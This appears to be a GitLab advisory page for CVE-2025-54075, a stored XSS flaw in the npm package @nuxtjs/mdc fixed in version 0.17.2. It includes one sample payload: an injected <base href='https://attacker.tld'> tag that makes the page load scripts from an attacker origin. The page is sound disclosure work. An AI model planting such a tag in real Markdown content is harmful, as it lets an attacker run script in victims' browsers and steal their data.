Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. @nuxtjs/mdc
  4. ›
  5. CVE-2025-54075

CVE-2025-54075: Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

July 20, 2025

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element. The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

References

  • github.com/advisories/GHSA-cj6r-rrr9-fg82
  • github.com/nuxt-modules/mdc
  • github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a
  • github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82
  • nvd.nist.gov/vuln/detail/CVE-2025-54075

Code Behaviors & Features

Detect and mitigate CVE-2025-54075 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions before 0.17.2

Fixed versions

  • 0.17.2

Solution

Upgrade to version 0.17.2 or above.

Impact 8.3 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Learn more about CVSS

Weakness

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Source file

npm/@nuxtjs/mdc/CVE-2025-54075.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:16:27 +0000.